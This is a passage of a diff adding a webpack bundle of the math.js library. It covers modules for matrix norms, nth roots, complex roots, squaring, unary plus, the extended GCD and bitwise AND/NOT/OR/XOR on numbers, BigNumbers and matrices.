(larger(v, pinf)) { + pinf = v; + } + }, true); + return pinf; + } + + if (p === Number.NEGATIVE_INFINITY || p === '-inf') { + // norm(x, -Infinity) = min(abs(x)) + var ninf; // skip zeros since abs(0) === 0 + + x.forEach(function (value) { + var v = abs(value); + + if (!ninf || smaller(v, ninf)) { + ninf = v; + } + }, true); + return ninf || 0; + } + + if (p === 'fro') { + return _norm(x, 2); + } + + if (typeof p === 'number' && !isNaN(p)) { + // check p != 0 + if (!equalScalar(p, 0)) { + // norm(x, p) = sum(abs(xi) ^ p) ^ 1/p + var n = 0; // skip zeros since abs(0) === 0 + + x.forEach(function (value) { + n = add(pow(abs(value), p), n); + }, true); + return pow(n, 1 / p); + } + + return Number.POSITIVE_INFINITY; + } // invalid parameter value + + + throw new Error('Unsupported parameter value'); + } // MxN matrix + + + if (sizeX.length === 2) { + // check p + if (p === 1) { + // norm(x) = the largest column sum + var c = []; // result + + var maxc = 0; // skip zeros since abs(0) == 0 + + x.forEach(function (value, index) { + var j = index[1]; + var cj = add(c[j] || 0, abs(value)); + + if (larger(cj, maxc)) { + maxc = cj; + } + + c[j] = cj; + }, true); + return maxc; + } + + if (p === Number.POSITIVE_INFINITY || p === 'inf') { + // norm(x) = the largest row sum + var r = []; // result + + var maxr = 0; // skip zeros since abs(0) == 0 + + x.forEach(function (value, index) { + var i = index[0]; + var ri = add(r[i] || 0, abs(value)); + + if (larger(ri, maxr)) { + maxr = ri; + } + + r[i] = ri; + }, true); + return maxr; + } + + if (p === 'fro') { + // norm(x) = sqrt(sum(diag(x'x))) + var fro = 0; + x.forEach(function (value, index) { + fro = add(fro, multiply(value, conj(value))); + }); + return abs(sqrt(fro)); + } + + if (p === 2) { + // not implemented + throw new Error('Unsupported parameter value, missing implementation of matrix singular value decomposition'); + } // invalid parameter value + + + throw new Error('Unsupported parameter value'); + } + } + + norm.toTex = { + 1: "\\left\\|${args[0]}\\right\\|", + 2: undefined // use default template + + }; + return norm; +} + +exports.name = 'norm'; +exports.factory = factory; + +/***/ }), +/* 240 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm01 = load(__webpack_require__(37)); + var algorithm02 = load(__webpack_require__(27)); + var algorithm06 = load(__webpack_require__(74)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Calculate the nth root of a value. + * The principal nth root of a positive real number A, is the positive real + * solution of the equation + * + * x^root = A + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.nthRoot(a) + * math.nthRoot(a, root) + * + * Examples: + * + * math.nthRoot(9, 2) // returns 3, as 3^2 == 9 + * math.sqrt(9) // returns 3, as 3^2 == 9 + * math.nthRoot(64, 3) // returns 4, as 4^3 == 64 + * + * See also: + * + * sqrt, pow + * + * @param {number | BigNumber | Array | Matrix | Complex} a + * Value for which to calculate the nth root + * @param {number | BigNumber} [root=2] The root. + * @return {number | Complex | Array | Matrix} Returns the nth root of `a` + */ + + var complexErr = '' + 'Complex number not supported in function nthRoot. ' + 'Use nthRoots instead.'; + var nthRoot = typed('nthRoot', { + 'number': function number(x) { + return _nthRoot(x, 2); + }, + 'number, number': _nthRoot, + 'BigNumber': function BigNumber(x) { + return _bigNthRoot(x, new type.BigNumber(2)); + }, + 'Complex': function Complex(x) { + throw new Error(complexErr); + }, + 'Complex, number': function ComplexNumber(x, y) { + throw new Error(complexErr); + }, + 'BigNumber, BigNumber': _bigNthRoot, + 'Array | Matrix': function ArrayMatrix(x) { + return nthRoot(x, 2); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + // density must be one (no zeros in matrix) + if (y.density() === 1) { + // sparse + sparse + return algorithm06(x, y, nthRoot); + } else { + // throw exception + throw new Error('Root must be non-zero'); + } + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, nthRoot, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + // density must be one (no zeros in matrix) + if (y.density() === 1) { + // dense + sparse + return algorithm01(x, y, nthRoot, false); + } else { + // throw exception + throw new Error('Root must be non-zero'); + } + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, nthRoot); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return nthRoot(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return nthRoot(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return nthRoot(x, matrix(y)); + }, + 'SparseMatrix, number | BigNumber': function SparseMatrixNumberBigNumber(x, y) { + return algorithm11(x, y, nthRoot, false); + }, + 'DenseMatrix, number | BigNumber': function DenseMatrixNumberBigNumber(x, y) { + return algorithm14(x, y, nthRoot, false); + }, + 'number | BigNumber, SparseMatrix': function numberBigNumberSparseMatrix(x, y) { + // density must be one (no zeros in matrix) + if (y.density() === 1) { + // sparse - scalar + return algorithm11(y, x, nthRoot, true); + } else { + // throw exception + throw new Error('Root must be non-zero'); + } + }, + 'number | BigNumber, DenseMatrix': function numberBigNumberDenseMatrix(x, y) { + return algorithm14(y, x, nthRoot, true); + }, + 'Array, number | BigNumber': function ArrayNumberBigNumber(x, y) { + // use matrix implementation + return nthRoot(matrix(x), y).valueOf(); + }, + 'number | BigNumber, Array': function numberBigNumberArray(x, y) { + // use matrix implementation + return nthRoot(x, matrix(y)).valueOf(); + } + }); + nthRoot.toTex = { + 2: "\\sqrt[${args[1]}]{${args[0]}}" + }; + return nthRoot; + /** + * Calculate the nth root of a for BigNumbers, solve x^root == a + * https://rosettacode.org/wiki/Nth_root#JavaScript + * @param {BigNumber} a + * @param {BigNumber} root + * @private + */ + + function _bigNthRoot(a, root) { + var precision = type.BigNumber.precision; + var Big = type.BigNumber.clone({ + precision: precision + 2 + }); + var zero = new type.BigNumber(0); + var one = new Big(1); + var inv = root.isNegative(); + + if (inv) { + root = root.neg(); + } + + if (root.isZero()) { + throw new Error('Root must be non-zero'); + } + + if (a.isNegative() && !root.abs().mod(2).equals(1)) { + throw new Error('Root must be odd when a is negative.'); + } // edge cases zero and infinity + + + if (a.isZero()) { + return inv ? new Big(Infinity) : 0; + } + + if (!a.isFinite()) { + return inv ? zero : a; + } + + var x = a.abs().pow(one.div(root)); // If a < 0, we require that root is an odd integer, + // so (-1) ^ (1/root) = -1 + + x = a.isNeg() ? x.neg() : x; + return new type.BigNumber((inv ? one.div(x) : x).toPrecision(precision)); + } +} +/** + * Calculate the nth root of a, solve x^root == a + * https://rosettacode.org/wiki/Nth_root#JavaScript + * @param {number} a + * @param {number} root + * @private + */ + + +function _nthRoot(a, root) { + var inv = root < 0; + + if (inv) { + root = -root; + } + + if (root === 0) { + throw new Error('Root must be non-zero'); + } + + if (a < 0 && Math.abs(root) % 2 !== 1) { + throw new Error('Root must be odd when a is negative.'); + } // edge cases zero and infinity + + + if (a === 0) { + return inv ? Infinity : 0; + } + + if (!isFinite(a)) { + return inv ? 0 : a; + } + + var x = Math.pow(Math.abs(a), 1 / root); // If a < 0, we require that root is an odd integer, + // so (-1) ^ (1/root) = -1 + + x = a < 0 ? -x : x; + return inv ? 1 / x : x; // Very nice algorithm, but fails with nthRoot(-2, 3). + // Newton's method has some well-known problems at times: + // https://en.wikipedia.org/wiki/Newton%27s_method#Failure_analysis + + /* + let x = 1 // Initial guess + let xPrev = 1 + let i = 0 + const iMax = 10000 + do { + const delta = (a / Math.pow(x, root - 1) - x) / root + xPrev = x + x = x + delta + i++ + } + while (xPrev !== x && i < iMax) + if (xPrev !== x) { + throw new Error('Function nthRoot failed to converge') + } + return inv ? 1 / x : x + */ +} + +exports.name = 'nthRoot'; +exports.factory = factory; + +/***/ }), +/* 241 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var Complex = __webpack_require__(82); + +var typed = __webpack_require__(103); + +var complex = Complex.factory('Complex', {}, '', typed, { + on: function on(x, y) {} +}); + +function factory(type, config, load, typed) { + /** + * Calculate the nth roots of a value. + * An nth root of a positive real number A, + * is a positive real solution of the equation "x^root = A". + * This function returns an array of complex values. + * + * Syntax: + * + * math.nthRoots(x) + * math.nthRoots(x, root) + * + * Examples: + * + * math.nthRoots(1) + * // returns [ + * // {re: 1, im: 0}, + * // {re: -1, im: 0} + * // ] + * nthRoots(1, 3) + * // returns [ + * // { re: 1, im: 0 }, + * // { re: -0.4999999999999998, im: 0.8660254037844387 }, + * // { re: -0.5000000000000004, im: -0.8660254037844385 } + * ] + * + * See also: + * + * nthRoot, pow, sqrt + * + * @param {number | BigNumber | Fraction | Complex | Array | Matrix} x Number to be rounded + * @return {number | BigNumber | Fraction | Complex | Array | Matrix} Rounded value + */ + var nthRoots = typed('nthRoots', { + 'Complex': function Complex(x) { + return _nthComplexRoots(x, 2); + }, + 'Complex, number': _nthComplexRoots + }); + nthRoots.toTex = { + 2: "\\{y : $y^{args[1]} = {${args[0]}}\\}" + }; + return nthRoots; +} +/** + * Each function here returns a real multiple of i as a Complex value. + * @param {number} val + * @return {Complex} val, i*val, -val or -i*val for index 0, 1, 2, 3 + */ +// This is used to fix float artifacts for zero-valued components. + + +var _calculateExactResult = [function realPos(val) { + return complex(val); +}, function imagPos(val) { + return complex(0, val); +}, function realNeg(val) { + return complex(-val); +}, function imagNeg(val) { + return complex(0, -val); +}]; +/** + * Calculate the nth root of a Complex Number a using De Movire's Theorem. + * @param {Complex} a + * @param {number} root + * @return {Array} array of n Complex Roots + */ + +function _nthComplexRoots(a, root) { + if (root < 0) throw new Error('Root must be greater than zero'); + if (root === 0) throw new Error('Root must be non-zero'); + if (root % 1 !== 0) throw new Error('Root must be an integer'); + if (a === 0 || a.abs() === 0) return [complex(0)]; + var aIsNumeric = typeof a === 'number'; + var offset; // determine the offset (argument of a)/(pi/2) + + if (aIsNumeric || a.re === 0 || a.im === 0) { + if (aIsNumeric) { + offset = 2 * +(a < 0); // numeric value on the real axis + } else if (a.im === 0) { + offset = 2 * +(a.re < 0); // complex value on the real axis + } else { + offset = 2 * +(a.im < 0) + 1; // complex value on the imaginary axis + } + } + + var arg = a.arg(); + var abs = a.abs(); + var roots = []; + var r = Math.pow(abs, 1 / root); + + for (var k = 0; k < root; k++) { + var halfPiFactor = (offset + 4 * k) / root; + /** + * If (offset + 4*k)/root is an integral multiple of pi/2 + * then we can produce a more exact result. + */ + + if (halfPiFactor === Math.round(halfPiFactor)) { + roots.push(_calculateExactResult[halfPiFactor % 4](r)); + continue; + } + + roots.push(complex({ + r: r, + phi: (arg + 2 * Math.PI * k) / root + })); + } + + return roots; +} + +exports.name = 'nthRoots'; +exports.factory = factory; + +/***/ }), +/* 242 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Compute the square of a value, `x * x`. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.square(x) + * + * Examples: + * + * math.square(2) // returns number 4 + * math.square(3) // returns number 9 + * math.pow(3, 2) // returns number 9 + * math.multiply(3, 3) // returns number 9 + * + * math.square([1, 2, 3, 4]) // returns Array [1, 4, 9, 16] + * + * See also: + * + * multiply, cube, sqrt, pow + * + * @param {number | BigNumber | Fraction | Complex | Array | Matrix | Unit} x + * Number for which to calculate the square + * @return {number | BigNumber | Fraction | Complex | Array | Matrix | Unit} + * Squared value + */ + var square = typed('square', { + 'number': function number(x) { + return x * x; + }, + 'Complex': function Complex(x) { + return x.mul(x); + }, + 'BigNumber': function BigNumber(x) { + return x.times(x); + }, + 'Fraction': function Fraction(x) { + return x.mul(x); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since square(0) = 0 + return deepMap(x, square, true); + }, + 'Unit': function Unit(x) { + return x.pow(2); + } + }); + square.toTex = { + 1: "\\left(${args[0]}\\right)^2" + }; + return square; +} + +exports.name = 'square'; +exports.factory = factory; + +/***/ }), +/* 243 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + /** + * Unary plus operation. + * Boolean values and strings will be converted to a number, numeric values will be returned as is. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.unaryPlus(x) + * + * Examples: + * + * math.unaryPlus(3.5) // returns 3.5 + * math.unaryPlus(1) // returns 1 + * + * See also: + * + * unaryMinus, add, subtract + * + * @param {number | BigNumber | Fraction | string | Complex | Unit | Array | Matrix} x + * Input value + * @return {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} + * Returns the input value when numeric, converts to a number when input is non-numeric. + */ + + + var unaryPlus = typed('unaryPlus', { + 'number': function number(x) { + return x; + }, + 'Complex': function Complex(x) { + return x; // complex numbers are immutable + }, + 'BigNumber': function BigNumber(x) { + return x; // bignumbers are immutable + }, + 'Fraction': function Fraction(x) { + return x; // fractions are immutable + }, + 'Unit': function Unit(x) { + return x.clone(); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since unaryPlus(0) = 0 + return deepMap(x, unaryPlus, true); + }, + 'boolean | string': function booleanString(x) { + // convert to a number or bignumber + return config.number === 'BigNumber' ? new type.BigNumber(+x) : +x; + } + }); + unaryPlus.toTex = { + 1: "".concat(latex.operators['unaryPlus'], "\\left(${args[0]}\\right)") + }; + return unaryPlus; +} + +exports.name = 'unaryPlus'; +exports.factory = factory; + +/***/ }), +/* 244 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Calculate the extended greatest common divisor for two values. + * See https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm. + * + * Syntax: + * + * math.xgcd(a, b) + * + * Examples: + * + * math.xgcd(8, 12) // returns [4, -1, 1] + * math.gcd(8, 12) // returns 4 + * math.xgcd(36163, 21199) // returns [1247, -7, 12] + * + * See also: + * + * gcd, lcm + * + * @param {number | BigNumber} a An integer number + * @param {number | BigNumber} b An integer number + * @return {Array} Returns an array containing 3 integers `[div, m, n]` + * where `div = gcd(a, b)` and `a*m + b*n = div` + */ + + var xgcd = typed('xgcd', { + 'number, number': _xgcd, + 'BigNumber, BigNumber': _xgcdBigNumber // TODO: implement support for Fraction + + }); + xgcd.toTex = undefined; // use default template + + return xgcd; + /** + * Calculate xgcd for two numbers + * @param {number} a + * @param {number} b + * @return {number} result + * @private + */ + + function _xgcd(a, b) { + // source: https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm + var t; // used to swap two variables + + var q; // quotient + + var r; // remainder + + var x = 0; + var lastx = 1; + var y = 1; + var lasty = 0; + + if (!isInteger(a) || !isInteger(b)) { + throw new Error('Parameters in function xgcd must be integer numbers'); + } + + while (b) { + q = Math.floor(a / b); + r = a - q * b; + t = x; + x = lastx - q * x; + lastx = t; + t = y; + y = lasty - q * y; + lasty = t; + a = b; + b = r; + } + + var res; + + if (a < 0) { + res = [-a, -lastx, -lasty]; + } else { + res = [a, a ? lastx : 0, lasty]; + } + + return config.matrix === 'Array' ? res : matrix(res); + } + /** + * Calculate xgcd for two BigNumbers + * @param {BigNumber} a + * @param {BigNumber} b + * @return {BigNumber[]} result + * @private + */ + + + function _xgcdBigNumber(a, b) { + // source: https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm + var // used to swap two variables + t; + var // quotient + q; + var // remainder + r; + var zero = new type.BigNumber(0); + var one = new type.BigNumber(1); + var x = zero; + var lastx = one; + var y = one; + var lasty = zero; + + if (!a.isInt() || !b.isInt()) { + throw new Error('Parameters in function xgcd must be integer numbers'); + } + + while (!b.isZero()) { + q = a.div(b).floor(); + r = a.mod(b); + t = x; + x = lastx.minus(q.times(x)); + lastx = t; + t = y; + y = lasty.minus(q.times(y)); + lasty = t; + a = b; + b = r; + } + + var res; + + if (a.lt(zero)) { + res = [a.neg(), lastx.neg(), lasty.neg()]; + } else { + res = [a, !a.isZero() ? lastx : 0, lasty]; + } + + return config.matrix === 'Array' ? res : matrix(res); + } +} + +exports.name = 'xgcd'; +exports.factory = factory; + +/***/ }), +/* 245 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(246), __webpack_require__(248), __webpack_require__(249), __webpack_require__(251), __webpack_require__(253), __webpack_require__(255), __webpack_require__(257)]; + +/***/ }), +/* 246 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var bigBitAnd = __webpack_require__(247); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var algorithm02 = load(__webpack_require__(27)); + var algorithm06 = load(__webpack_require__(74)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Bitwise AND two values, `x & y`. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.bitAnd(x, y) + * + * Examples: + * + * math.bitAnd(53, 131) // returns number 1 + * + * math.bitAnd([1, 12, 31], 42) // returns Array [0, 8, 10] + * + * See also: + * + * bitNot, bitOr, bitXor, leftShift, rightArithShift, rightLogShift + * + * @param {number | BigNumber | Array | Matrix} x First value to and + * @param {number | BigNumber | Array | Matrix} y Second value to and + * @return {number | BigNumber | Array | Matrix} AND of `x` and `y` + */ + + var bitAnd = typed('bitAnd', { + 'number, number': function numberNumber(x, y) { + if (!isInteger(x) || !isInteger(y)) { + throw new Error('Integers expected in function bitAnd'); + } + + return x & y; + }, + 'BigNumber, BigNumber': bigBitAnd, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm06(x, y, bitAnd, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, bitAnd, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm02(x, y, bitAnd, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, bitAnd); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return bitAnd(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return bitAnd(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return bitAnd(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm11(x, y, bitAnd, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, bitAnd, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm11(y, x, bitAnd, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, bitAnd, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, bitAnd, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, bitAnd, true).valueOf(); + } + }); + bitAnd.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['bitAnd'], "${args[1]}\\right)") + }; + return bitAnd; +} + +exports.name = 'bitAnd'; +exports.factory = factory; + +/***/ }), +/* 247 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var bitwise = __webpack_require__(92); +/** + * Bitwise and for Bignumbers + * + * Special Cases: + * N & n = N + * n & 0 = 0 + * n & -1 = n + * n & n = n + * I & I = I + * -I & -I = -I + * I & -I = 0 + * I & n = n + * I & -n = I + * -I & n = 0 + * -I & -n = -I + * + * @param {BigNumber} x + * @param {BigNumber} y + * @return {BigNumber} Result of `x` & `y`, is fully precise + * @private + */ + + +module.exports = function bitAnd(x, y) { + if (x.isFinite() && !x.isInteger() || y.isFinite() && !y.isInteger()) { + throw new Error('Integers expected in function bitAnd'); + } + + var BigNumber = x.constructor; + + if (x.isNaN() || y.isNaN()) { + return new BigNumber(NaN); + } + + if (x.isZero() || y.eq(-1) || x.eq(y)) { + return x; + } + + if (y.isZero() || x.eq(-1)) { + return y; + } + + if (!x.isFinite() || !y.isFinite()) { + if (!x.isFinite() && !y.isFinite()) { + if (x.isNegative() === y.isNegative()) { + return x; + } + + return new BigNumber(0); + } + + if (!x.isFinite()) { + if (y.isNegative()) { + return x; + } + + if (x.isNegative()) { + return new BigNumber(0); + } + + return y; + } + + if (!y.isFinite()) { + if (x.isNegative()) { + return y; + } + + if (y.isNegative()) { + return new BigNumber(0); + } + + return x; + } + } + + return bitwise(x, y, function (a, b) { + return a & b; + }); +}; + +/***/ }), +/* 248 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +var bigBitNot = __webpack_require__(93); + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + /** + * Bitwise NOT value, `~x`. + * For matrices, the function is evaluated element wise. + * For units, the function is evaluated on the best prefix base. + * + * Syntax: + * + * math.bitNot(x) + * + * Examples: + * + * math.bitNot(1) // returns number -2 + * + * math.bitNot([2, -3, 4]) // returns Array [-3, 2, 5] + * + * See also: + * + * bitAnd, bitOr, bitXor, leftShift, rightArithShift, rightLogShift + * + * @param {number | BigNumber | Array | Matrix} x Value to not + * @return {number | BigNumber | Array | Matrix} NOT of `x` + */ + + + var bitNot = typed('bitNot', { + 'number': function number(x) { + if (!isInteger(x)) { + throw new Error('Integer expected in function bitNot'); + } + + return ~x; + }, + 'BigNumber': bigBitNot, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, bitNot); + } + }); + bitNot.toTex = { + 1: latex.operators['bitNot'] + "\\left(${args[0]}\\right)" + }; + return bitNot; +} + +exports.name = 'bitNot'; +exports.factory = factory; + +/***/ }), +/* 249 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var bigBitOr = __webpack_require__(250); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var algorithm01 = load(__webpack_require__(37)); + var algorithm04 = load(__webpack_require__(85)); + var algorithm10 = load(__webpack_require__(41)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Bitwise OR two values, `x | y`. + * For matrices, the function is evaluated element wise. + * For units, the function is evaluated on the lowest print base. + * + * Syntax: + * + * math.bitOr(x, y) + * + * Examples: + * + * math.bitOr(1, 2) // returns number 3 + * + * math.bitOr([1, 2, 3], 4) // returns Array [5, 6, 7] + * + * See also: + * + * bitAnd, bitNot, bitXor, leftShift, rightArithShift, rightLogShift + * + * @param {number | BigNumber | Array | Matrix} x First value to or + * @param {number | BigNumber | Array | Matrix} y Second value to or + * @return {number | BigNumber | Array | Matrix} OR of `x` and `y` + */ + + var bitOr = typed('bitOr', { + 'number, number': function numberNumber(x, y) { + if (!isInteger(x) || !isInteger(y)) { + throw new Error('Integers expected in function bitOr'); + } + + return x | y; + }, + 'BigNumber, BigNumber': bigBitOr, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm04(x, y, bitOr); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm01(y, x, bitOr, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm01(x, y, bitOr, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, bitOr); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return bitOr(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return bitOr(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return bitOr(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm10(x, y, bitOr, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, bitOr, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm10(y, x, bitOr, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, bitOr, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, bitOr, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, bitOr, true).valueOf(); + } + }); + bitOr.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['bitOr'], "${args[1]}\\right)") + }; + return bitOr; +} + +exports.name = 'bitOr'; +exports.factory = factory; + +/***/ }), +/* 250 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var bitwise = __webpack_require__(92); +/** + * Bitwise OR for BigNumbers + * + * Special Cases: + * N | n = N + * n | 0 = n + * n | -1 = -1 + * n | n = n + * I | I = I + * -I | -I = -I + * I | -n = -1 + * I | -I = -1 + * I | n = I + * -I | n = -I + * -I | -n = -n + * + * @param {BigNumber} x + * @param {BigNumber} y + * @return {BigNumber} Result of `x` | `y`, fully precise + */ + + +module.exports = function bitOr(x, y) { + if (x.isFinite() && !x.isInteger() || y.isFinite() && !y.isInteger()) { + throw new Error('Integers expected in function bitOr'); + } + + var BigNumber = x.constructor; + + if (x.isNaN() || y.isNaN()) { + return new BigNumber(NaN); + } + + var negOne = new BigNumber(-1); + + if (x.isZero() || y.eq(negOne) || x.eq(y)) { + return y; + } + + if (y.isZero() || x.eq(negOne)) { + return x; + } + + if (!x.isFinite() || !y.isFinite()) { + if (!x.isFinite() && !x.isNegative() && y.isNegative() || x.isNegative() && !y.isNegative() && !y.isFinite()) { + return negOne; + } + + if (x.isNegative() && y.isNegative()) { + return x.isFinite() ? x : y; + } + + return x.isFinite() ? y : x; + } + + return bitwise(x, y, function (a, b) { + return a | b; + }); +}; + +/***/ }), +/* 251 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +var bigBitXor = __webpack_require__(252); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + + var matrix = load(__webpack_require__(0)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Bitwise XOR two values, `x ^ y`. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.bitXor(x, y) + * + * Examples: + * + * math.bitXor(1, 2) // returns number 3 + * + * math.bitXor([2, 3, 4], 4) // returns Array [6, 7, 0] + * + * See also: + * + * bitAnd, bitNot, bitOr, leftShift, rightArithShift, rightLogShift + * + * @param {number | BigNumber | Array | Matrix} x First value to xor + * @param {number | BigNumber | Array | Matrix} y Second value to xor + * @return {number | BigNumber | Array | Matrix} XOR of `x` and `y` + */ + + var bitXor = typed('bitXor', { + 'number, number': function numberNumber(x, y) { + if (!isInteger(x) || !isInteger(y)) { + throw new Error('Integers expected in function bitXor'); + } + + return x ^ y; + }, + 'BigNumber, BigNumber': bigBitXor, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, bitXor); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, bitXor, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, bitXor, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, bitXor); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return bitXor(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return bitXor(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return bitXor(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, bitXor, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, bitXor, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, bitXor, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, bitXor, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, bitXor, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, bitXor, true).valueOf(); + } + }); + bitXor.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['bitXor'], "${args[1]}\\right)") + }; + return bitXor; +} + +exports.name = 'bitXor'; +exports.factory = factory; + +/***/ }), +/* 252 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var bitwise = __webpack_require__(92); + +var bitNot = __webpack_require__(93); +/** + * Bitwise XOR for BigNumbers + * + * Special Cases: + * N ^ n = N + * n ^ 0 = n + * n ^ n = 0 + * n ^ -1 = ~n + * I ^ n = I + * I ^ -n = -I + * I ^ -I = -1 + * -I ^ n = -I + * -I ^ -n = I + * + * @param {BigNumber} x + * @param {BigNumber} y + * @return {BigNumber} Result of `x` ^ `y`, fully precise + * + */ + + +module.exports = function bitXor(x, y) { + if 